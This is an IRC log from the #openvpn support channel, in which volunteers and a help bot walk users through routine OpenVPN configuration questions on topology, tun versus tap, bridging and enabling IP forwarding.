21:49 < hotwings> you can easily pass args to your own scripts when using --ipchange; --ipchange "yourscript yourarg1 yourarg2 yourarg3 etc"
21:49 < EugeneKay> My reading of the man page says that you can do `--ipchange Foo Bar`, but if you know those args ahead of time, that info oughta be coded into the script
21:49 < hotwings> i didnt realize you had to --script-security 2 or higher though. thats why it wasnt working
21:50 < EugeneKay> You also get ip_address and port_number as args
21:50 < EugeneKay> Any info past that has to be gleaned from env vars
21:50 < hotwings> EugeneKay - thats fine if the script only performs one task. but maintenance scripts tend to use args as a way for the user to tell the script what he wants it to do
21:52 < hotwings> for example: script [start|stop|restart] [some process or function supported by the script]
22:15 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 264 seconds]
22:17 -!- vistas [~vistas@c-71-204-33-119.hsd1.ga.comcast.net] has joined #openvpn
22:18 < vistas> Where can I access logs for the client on Windows 7? It just hands on "Obtaining Configuration".
22:22 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
22:29 < vistas> SESSION_ID: OpenVPNClientSet: submit_creds session ID
22:29 < vistas> It's like IPSec is easier than this.
22:29 < vistas> Well, I never set it up myself. But :(
22:30 -!- hotwings [hd@secksy.net] has left #openvpn []
22:41 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
22:43 -!- speed_racer8 [~speed_rac@98.196.168.201] has joined #openvpn
22:49 < vistas> Well I didn't figure it out because of logfiles, but because I saw that the TAP interface was disabled.
22:49 < vistas> Thanks.
22:55 -!- Matir [~matir@ubuntu/member/matir] has quit [Ping timeout: 255 seconds]
23:03 -!- Matir [~matir@ubuntu/member/matir] has joined #openvpn
23:39 -!- md_5 [md_5@mcdevs/trusted/md-5] has quit [Quit: ZNC - http://znc.in]
23:41 -!- md_5 [~md_5@mcdevs/trusted/md-5] has joined #openvpn
23:49 -!- md_5 [~md_5@mcdevs/trusted/md-5] has quit [Quit: ZNC - http://znc.in]
23:51 -!- md_5 [~md_5@mcdevs/trusted/md-5] has joined #openvpn
--- Day changed Sat Mar 02 2013
00:00 -!- brute11k [~brute@89.249.231.52] has joined #openvpn
00:13 -!- Falteckz [~Falteckz@121.99.31.205] has quit [Ping timeout: 272 seconds]
01:22 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
01:28 -!- aaaar0n [~no@c-174-56-147-242.hsd1.sc.comcast.net] has joined #openvpn
01:28 -!- aaaar0n is now known as ar0nic
02:05 -!- scyld [~scyld@unaffiliated/wasyl] has joined #openvpn
02:11 -!- xbanux [~xbanux@triband-mum-59.182.177.27.mtnl.net.in] has joined #openvpn
02:11 -!- Orbi [~opera@109.129.22.206] has joined #openvpn
02:25 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out]
02:25 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
02:48 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
02:58 -!- brute11k [~brute@89.249.231.52] has quit [Quit: Leaving.]
03:15 -!- scyld [~scyld@unaffiliated/wasyl] has quit [Quit: Wychodzi]
03:17 -!- Sevet [steveayre@149.241.69.221] has joined #openvpn
03:19 < Sevet> hi, does anyone know why my udp openvpn connections would constantly keep reconnecting?
03:19 < Sevet> i see 'Inactivity timeout (--ping-restart), restarting' in the server and clients logs, despite using 'keepalive 5 30' on the server
03:20 < Sevet> (2.1.3 server, 2.1.4 client)
03:28 < Sevet> from a packet trace on the client it appears that it's receiving ping packets from the server but never sending any
03:29 < Sevet> should the ping packets get a reply?
03:32 < Sevet> ok i have found my answer, i had push-reset in the ccd and it seems that was preventing the ping/ping-restart being pushed to the client
03:52 -!- Sevet [steveayre@149.241.69.221] has quit []
04:13 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
04:13 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
04:13 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
04:13 -!- mode/#openvpn [+o krzee] by ChanServ
04:17 -!- krphop [~krphop@74.82.160.100] has quit [Ping timeout: 245 seconds]
04:20 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
04:23 -!- xbanux [~xbanux@triband-mum-59.182.177.27.mtnl.net.in] has quit [Read error: Connection reset by peer]
04:23 -!- xbanux [~xbanux@triband-mum-59.182.177.192.mtnl.net.in] has joined #openvpn
04:26 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
04:39 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Quit: ZNC - http://znc.in]
04:44 -!- p3rror [~mezgani@41.249.135.33] has joined #openvpn
04:45 -!- JSharpe [~JSharpe@146.185.24.18] has joined #openvpn
05:10 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
05:45 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
05:45 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
05:45 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
05:45 -!- mode/#openvpn [+o krzee] by ChanServ
05:47 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
05:49 -!- JackWinter1 [~jack@ppp-256.vo.lu] has quit [Quit: ZNC - http://znc.in]
05:50 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
05:51 -!- p3rror [~mezgani@41.249.135.33] has quit [Read error: Operation timed out]
05:56 -!- p3rror [~mezgani@41.249.135.33] has joined #openvpn
06:46 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
06:48 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
07:41 -!- dli_ [~dli@dsl-69-171-139-151.acanac.net] has joined #openvpn
08:22 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 264 seconds]
08:35 -!- p3rror [~mezgani@41.249.135.33] has quit [Read error: Connection reset by peer]
08:40 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
08:49 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
08:54 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
08:56 -!- neilhwatson [~neilhwats@CPE00e081b5ee1e-CMbc140134c320.cpe.net.cable.rogers.com] has joined #openvpn
08:58 < neilhwatson> In bridged mode should the server have a route to know how to find the client's Openvpn assigned IP address?
09:01 -!- digilink [~digilink@unaffiliated/digilink] has quit [Quit: ZNC - http://znc.in]
09:02 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
09:12 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
09:13 -!- digilink [~digilink@unaffiliated/digilink] has quit [Quit: ZNC - http://znc.in]
09:15 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
09:17 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Read error: Connection reset by peer]
09:20 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
09:27 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 246 seconds]
09:29 -!- JackWinter [~jack@ppp-256.vo.lu] has left #openvpn ["Konversation terminated!"]
09:33 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
09:33 < EugeneKay> You shouldn't be using bridged mode.
09:36 < neilhwatson> Why?
09:36 < EugeneKay> !whybridge
09:36 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
09:37 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Remote host closed the connection]
09:38 < neilhwatson> I'd like to tunnel ipv6 through the tunnel and I want to the client to have presenc on ipv4 and ipv6 networks that the server is a member of.
09:45 -!- aduitsis [~aduitsis@dsl-aav5go.dyn.edudsl.gr] has joined #openvpn
09:59 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
09:59 -!- aduitsis [~aduitsis@dsl-aav5go.dyn.edudsl.gr] has quit [Quit: Colloquy for iPad - http://colloquy.mobi]
10:01 -!- brute11k [~brute@89.249.230.53] has joined #openvpn
10:16 < dli_> is there an iproute2 replacement for server config: push "route 192.168.3.0 255.255.255.0"
10:20 < dli_> ERROR: Linux route add command failed: external program exited with error status: 2
10:20 < dli_> can I connect openvpn 2 server using openvpn version 3 client?
10:27 -!- mongoman [~mongoman@200.46.98.147] has joined #openvpn
10:41 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
10:54 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
10:55 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Remote host closed the connection]
10:55 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
10:56 -!- Valcorbh [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
10:59 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 246 seconds]
11:08 -!- digilink [~digilink@unaffiliated/digilink] has quit [Quit: ZNC - http://znc.in]
11:09 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
11:11 -!- Valcorbh [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 264 seconds]
11:11 -!- `nand` [~nand@2a01:4f8:d13:5245::2] has quit [Quit: nand]
11:11 -!- Orbi [~opera@109.129.22.206] has left #openvpn []
11:12 -!- `nand` [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
11:21 < EugeneKay> There is no openvpn 3.x
11:22 < EugeneKay> neilhwatson - 2.3 supports ipv6 payload; you can do all of that in routing.
11:22 < EugeneKay> Heck, you can even do 6in4 on a TAP adapter in 2.2(with script assistance for setup/teardown)
11:30 < neilhwatson> I almost have tap working.  The last hurtle is that the server cannot ping the client's assigned IP.
11:31 -!- brute11k1 [~brute@89.249.230.53] has joined #openvpn
11:33 -!- brute11k [~brute@89.249.230.53] has quit [Ping timeout: 264 seconds]
11:38 < dli_> EugeneKay, sorry, I mean 2.3 client connection to 2.2 server
11:39 < dli_> EugeneKay, the client gets IP, but can not ping
11:40 < neilhwatson> dli_ I think that would work provided the client is not attempting to use a feature the server might not understand.
11:43 < dli_> neilhwatson, still couldn't ping: http://pastebin.com/3USjmDjv
11:47 < neilhwatson> Mar  2 12:40:28 dasus openvpn@tw3[23067]: ERROR: Linux route add command failed: external program exited with error status: 2
11:48 < dli_> neilhwatson, push "route 192.168.3.0 255.255.255.0"
11:48 < dli_> neilhwatson, I'm wondering whether I can try iproute2
11:49 < neilhwatson> I don't know openvpn that well.
11:50 < dli_> neilhwatson, also, the same error was there for 2.2 client, it worked with this specific error
11:52 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
12:16 -!- master_o1_master [~master_of@p4FF242D5.dip.t-dialin.net] has joined #openvpn
12:16 -!- mongoman [~mongoman@200.46.98.147] has quit [Quit: Leaving]
12:20 -!- master_of_master [~master_of@p4FF242AF.dip.t-dialin.net] has quit [Ping timeout: 244 seconds]
12:42 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 272 seconds]
12:49 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has joined #openvpn
13:05 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
13:16 -!- xbanux [~xbanux@triband-mum-59.182.177.192.mtnl.net.in] has quit [Ping timeout: 244 seconds]
13:21 -!- Falteckz [~Falteckz@121.99.31.205] has joined #openvpn
13:29 -!- bluethundr [~dunphy@ool-457cd1ed.dyn.optonline.net] has joined #openvpn
13:30 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
13:41 < marksaitis> hey. I did setup openvpn on my ubuntu 12.04 lts. Host has 10.8.0.1 mask 255.255.255.255, client has 10.8.0.6 mask 255.255.255.252 . These ips are not set in any server nor client configs, they do come as default as I understand. i used latest server and client config sample files and modified them according to official ubuntu openvpn guide.
13:41 < marksaitis> however I can not ping 10.8.0.1 from my client :))) is that to do with different masks? and why would I get different masks?
13:41 < marksaitis> please help
13:41 < marksaitis> im nearly there
13:44 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 244 seconds]
13:46 < marksaitis> i actually do have this line in server config by default, server 10.8.0.0 255.255.255.0 but it makes no sense as my serv and client tun interfaces have different masks?
13:51 < marksaitis> my client is win7 though
13:57 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
14:08 < pekster> marksaitis: In net30 mode, Unix/Linux clients use a PtP configuration while Windows uses a /30
14:09 < pekster> Subnet topology avoids this behaviour and sets an IP/netmask instead of using a PtP or fake /30:
14:09 < pekster> !subnet
14:09 <@vpnHelper> "subnet" is http://www.subnet-calculator.com/ or http://en.wikipedia.org/wiki/Subnetwork
14:09 < pekster> Not that. let's try this:
14:09 < pekster> !topology
14:09 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
14:10 < pekster> marksaitis: What you're seeing on the server is normal and expected. If your OpenVPN connection works and doesn't error or time out, you probably have a firewall issue
14:15 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
14:17 -!- Devastator [~devas@177.18.198.56] has joined #openvpn
14:18 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds]
14:18 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 276 seconds]
14:24 < marksaitis> pekster, thank you. it all connects, but as i said I do get strange mask on windows client :)
14:24 < neilhwatson> Is mtu-dics yet supposed to prevent write UDPv4 [EMSGSIZE Path-MTU=1500]: Message too long (code=90) messages?
14:25 < pekster> marksaitis: That's the /30 behaviour I described. Did you see the bot's output above telling you how you can avoid that if you like?
14:25 < pekster> Also:
14:25 < pekster> !/30
14:25 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
14:26 < marksaitis> I don't really understand this cincept of /30 and ptp :) so it didn't make sense to me. Do I just need to add topology subnet option in clients config?
14:26 < marksaitis> pekster,
14:27 < EugeneKay> marksaitis - that's okay, /30 is confusing and stupid. Just do what the tl;dr says and you'll be fine.
14:27 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
14:27 < marksaitis> pekster, also, servers config file specifies 10.8.0.1 255.255.255.0, but ifconfig says tun0 is mask 255.255.255.255 , is this normal?
14:28 < pekster> Yes, in both the p2p and net30 modes. It'll look more "normal" to what you expect if you just use topology subnet
14:29 < marksaitis> pekster, do I specify "topology subnet" line in both server and client configs?
14:29 < pekster> You can do it in just the server config if the client uses 'client' or 'pull' and does *not* have any topology set
14:29 < EugeneKay> Just the server
14:30 < marksaitis> wonderful, this stuff should be default. It makes no sense to me :))) I mean stuff is configured to have network x options, but it gets z :)
14:30 < EugeneKay> !topology
14:30 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
14:31 < EugeneKay> The "why" is in the link there ^
14:31 < pekster> marksaitis: The issue is that the subnet topology is not supported for really old 2.0.9 clients
14:31 < pekster> I actually had to use one of those in the not-too-distant past due to an embedded (and highly messy) build system where building even 2.1.x was not practical (time vs cost, etc)
14:32 < EugeneKay> You poor bastard
14:32 < pekster> It was all Linux/Unix, so p2p worked fine
14:32 < pekster> No silly net30 there
14:33 < marksaitis> It now works fine!!! OMG :) thank you. If I was to have Linux client only, I would not need such an option yeah? :)
14:33 < pekster> topology subnet is recommended everywhere unless you have 2.0.9 clients that for whatever (bad) reason cannot be updated
14:33 < EugeneKay> It's a hack for Ye Olde Windows clients. Modernish ones work fine with it
14:33 < pekster> You can use p2p too, which is fine in an all-*nix environment, but subnet works fine too
14:34 < marksaitis> so if this mode is called "subnet topology", how is that older one called?
14:36 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
14:36 < pekster> See --topology in the manpage
14:36 < marksaitis> ok thank you :)
14:36 < pekster> Choices are net30 (the default) p2p, or subnet, with full descriptions as listed in the manpage
14:37 < pekster> !man
14:37 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend!
14:38 < marksaitis> reading it already, appreciate your help, fast and effective
14:38 < marksaitis> I got it, it allocates a whole subnet for 1 client, fair enough :)
14:40 < marksaitis> If I will now bridge my windows tun adapter with virtualbox adapter, I guess my vm will feel like they are in a private network with my server
14:40 < marksaitis> thats where I am heading with this stuff
14:40 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::] has quit [Ping timeout: 245 seconds]
14:42 < pekster> You don't bridge tun. tun is for routing, tap is for bridging
14:42 < pekster> !tunortap
14:42 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
14:42 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
14:43 < pekster> If you just want access to an internal VM LAN, tun is fine. Run openvpn on a box with access to the outside network and the inside one (often the VM host) and route between the networks
14:47 -!- vraa__ [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
14:50 -!- speed_racer8 [~speed_rac@98.196.168.201] has quit [Ping timeout: 272 seconds]
14:50 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 248 seconds]
15:03 -!- emmanuelux [~emmanuelu@94.23.150.162] has joined #openvpn
15:09 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
15:09 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
15:11 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 245 seconds]
15:21 < marksaitis> pekster, is it difficult to make so that my vpn clients see internet thru my server?
15:22 < marksaitis> Or is it just a few lines? im doing smth now and I thought if its quick I should enable it
15:26 < pekster> !redirect
15:26 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
15:26 <@vpnHelper> http://ircpimps.org/redirect.png
15:27 < marksaitis> pekster, thats a client option. How about server? Will it take that traffic and route it to server eth0 gw?
15:28 < pekster> There's more than just the "client option" listed in that output
15:28 < pekster> IP forwarding, NAT, and firewall stuff is all handled at the server side
15:28 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Write error: Broken pipe]
15:29 < marksaitis> ok, so I will need to read about this a bit yeah
15:29 < pekster> Each of the !words has more output available if you query the bot
15:29 < marksaitis> You see I am bridging my vm with tap on my windows host, vm will only see my vpn server. therefore I thought how to quickly make my vpn server to be a gw :)
15:30 < marksaitis> I thought its just some sort of routing rule, 1 or 2 options
15:30 < pekster> One OpenVPN option, plus routing, plus NAT (if you're dealing with rfc1918 VPN IPs) and any necessary firewall config
15:30 < marksaitis> so I don't need to redirect all traffic to it in my case, as vpn server gw is the only one my client can see
15:31 < pekster> You don't really need/want tap in your situation, unless you're specifically trying to avoid routing for some reason
15:32 < marksaitis> I will statically config my client with gw, now how do I make my server tun adapter to route these packets to eth0 for internet?
15:33 < marksaitis> i dont know what do I need. I have my linux server in datacentre directly sitting on internet ip and stuff at home/office :)
15:33 < pekster> IP forwarding. Just like the bot output said. See the "!ipforward" word? If you type it, the bot tells you more
15:33 < marksaitis> my windows host has vm client which i want to sit on a virtual network with my server on the internet.
15:33 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
15:33 < marksaitis> !ipforward
15:33 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
15:34 < marksaitis> wooooo, kernel?
15:34 < marksaitis> i just want servers tun to be gateway to internet :)
15:34 < marksaitis> I want routing
15:35 < pekster> So follow the directions for your OS/distribution to enable IP forwarding, firewall, and NAT. Just like the bot said
15:40 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
15:41 < marksaitis> ok thanx
15:42 < marksaitis> !linipforward
15:42 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
15:43 < marksaitis> pekster, ok lets say I enable ip forwarding on the system. now what, how do I make 10.8.0.1 to be functional gw for my clients? do I add routing rule?
15:44 < pekster> IP forwarding turns it into a router. All the normal routing rules apply. Perhaps you'd like a more basic entry-level guide to how TCP/IP networking works?
15:44 < pekster> !tcpip
15:44 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
15:44 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
15:52 < marksaitis> I know how it works, headers and routing information etc... :)
15:52 < marksaitis> thanx anyways
15:53 < marksaitis> pekster, ip forwarding turns "what" in to a router? the system?
15:54 < pekster> Yes. It tells the kernel to route packets that are not bound for the local system
15:55 < pekster> That's a pretty basic networking concept; if you don't have a good handle on basic networking, you should get that exposure first before you try and add openvpn to the mix. OpenVPN is hard to use without a functional understand of how networking/routing/firewalls work
15:55 < pekster> !101
15:55 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
15:56 < pekster> IP forwarding is generally just a "switch" if you'd like that says "route such packets" instead of the default of "ignore these packets." They then hit the routing rules and get sorted into a table and handled according to the routing rules. All of which is beyond the scope of openvpn (your OS/kernel does this)
16:01 < marksaitis> understood, I have good basic understanding of it, just never enabled it on linux
16:05 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has quit [Ping timeout: 264 seconds]
16:09 -!- smerz [~smerz@a177088.upc-a.chello.nl] has joined #openvpn
16:16 -!- Falteckz [~Falteckz@121.99.31.205] has quit [Quit: Leaving]
16:23 -!- vraa__ [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Quit: Leaving]
16:27 -!- dli_ [~dli@dsl-69-171-139-151.acanac.net] has quit [Ping timeout: 264 seconds]
16:32 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
16:44 < JackSparrow> hi, i'd like to redirect a port range from my server's public interface to one local IP
16:44 < JackSparrow> like eth0:42000 => tun0 10.8.0.42:42000
16:45 < JackSparrow> i've already tried lots of iptable things, no one worked.
16:49 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
17:03 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
17:05 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has quit [Ping timeout: 264 seconds]
17:09 < marksaitis> pekster, would you have any idea? I connected to openvpn server with my host - all ok I got 10.8.0.4 Ip with it, can ping 10.8.0.1 just fine. I run vm on my host, therefore I bridged vm with hosts tun adapter, but my vm does not get any ip and morover if i statically configure it, it is still a no-go. Any ideas?
17:09 < marksaitis> what can i be missing here
17:09 < marksaitis> :)
17:09 -!- bluethundr [~dunphy@ool-457cd1ed.dyn.optonline.net] has quit [Quit: bluethundr]
17:11 < pekster> You cannot bridge a tun adapter, as I stated earlier. It does not work. http://paste.kde.org/685820/
17:16 < marksaitis> really, omg
17:16 < marksaitis> how do I go about it then pekster ?
17:17 < marksaitis> I mean all I did is specified bridge to tun adapter using virtualbox :)
17:17 < marksaitis> on my host client
17:18 < marksaitis> does it mean that I would need to use routing on my host then? and set my vm to do hostonly networking? :)
17:18 < marksaitis> is that the only way do you think?
17:19 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
17:19 -!- mode/#openvpn [+o krzee] by ChanServ
17:24 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
17:24 < pekster> marksaitis: You *cannot* bridge tun adapters. for the 3rd time. tun is OSI Layer 3. Ethernet is OSI Layer 2. You cannot do what your propose
17:25 < pekster> Maybe the silly "WIN32 TAP Adapter" in windows pretends to let you do it, but it does not work becuase OpenVPN is unable to send Ethernet frames in tun mode. That's how tun works
17:28 < pekster> Learn to route properly between your subnets, or use tap if you actually wanted a bridge
17:30 < marksaitis> alright, in my scenario I should use tap then yeah?
17:32 < pekster> Not unless you actually need to send Layer 2 frames (Ethernet) between your hosts
17:32 < pekster> If you do not need Layer 2 protocols, you should use tun unless you have a very good reason not to
17:32 < pekster> In case you missed it above:
17:32 < pekster> !tunortap
17:32 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
17:32 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
17:33 -!- dli_ [~dli@dsl-69-171-139-151.acanac.net] has joined #openvpn
17:42 < marksaitis> well, ok. i know what these layers are. i just didnt knew tun and tap. I do know that tun is more efficient
17:42 < marksaitis> so tun is layer 2 ethernet frames, tap is layer 3 packets yeah
17:43 < marksaitis> woops, the other way round I ment :)
17:44 -!- JackSparrow [~death@2001:41d0:1:d4e5:1234:1234:1234:1234] has joined #openvpn
17:44 < marksaitis> tun layer 3, tap layer 2
17:45 < marksaitis> which means in layer 2 ip packets get encapsulated in to ethernet frames and thats where overhead comes from
17:46 < marksaitis> I get it. I just dont understand then, if tun works in layer 3, why i can not ask my host to take that ip packet and route it
17:48 < pekster> You can. This is not done by "bridge to tun adapter using virtualbox" as you said earlier
17:49 < marksaitis> yeah, that stuff doesnt work. In which case I need to tell my host to do some routing yeah
17:49 < marksaitis> whichever way I go, I just want my vm to feel like it is in a lan with my server on 10.8.0.1
17:50 < pekster> So put openvpn on the VM and have it connect as a client. Done.
17:51 -!- brute11k1 [~brute@89.249.230.53] has quit [Quit: Leaving.]
17:56 < marksaitis> pekster, I cant do so :)))
17:57 < marksaitis> because my vm needs to be in the network before OS starts as well
17:57 < marksaitis> and surely before someone logs in
18:03 < marksaitis> pekster, so am i better of to use tap and then bridge it, or use tun and do some routing on the host? it's just that I guess host would receive stuff from vm and it would route it thru main connection instead of tun adapter..
18:04 -!- Netsplit *.net <-> *.split quits: hive-mind, daemoen, rkantos, gardar, jtrucks, batrick
18:04 -!- rkantos [robin@109.169.7.197] has joined #openvpn
18:04 -!- Netsplit over, joins: jtrucks
18:04 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
18:05 -!- Netsplit over, joins: gardar
18:05 -!- Netsplit over, joins: batrick
18:05 -!- Netsplit over, joins: daemoen
18:08 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
18:09 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:21 <@krzee> marksaitis, tun or tap is a decision that is unrelated to that
18:21 <@krzee> the only thing that goes into tun or tap is "do i need a layer2 protocol over my vpn?"
18:21 <@krzee> yes = tap, no = tun
18:21 <@krzee> and then further, if i DO need layer2… "do i need layer2 to the LAN behind the vpn?"
18:21 <@krzee> yes = bridge, no = routed
18:22 <@krzee> meh maybe i should make a small flowchart for that sometime
18:24 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
18:24 < marksaitis> in my case I cant make it to work with tun, however I switched everything to tap and it works now :) the only thing is, I do have my openvpn server system ip forwarding enabled, but it doesnt do that for me :( does it need restart maybe
18:24 <@krzee> if its windows yes
18:24 < marksaitis> krzee, I do understand what you are saying :)
18:24 < marksaitis> openvpn server is linux
18:25 <@krzee> sysctl -a|grep forward
18:25 <@krzee> !linipforward
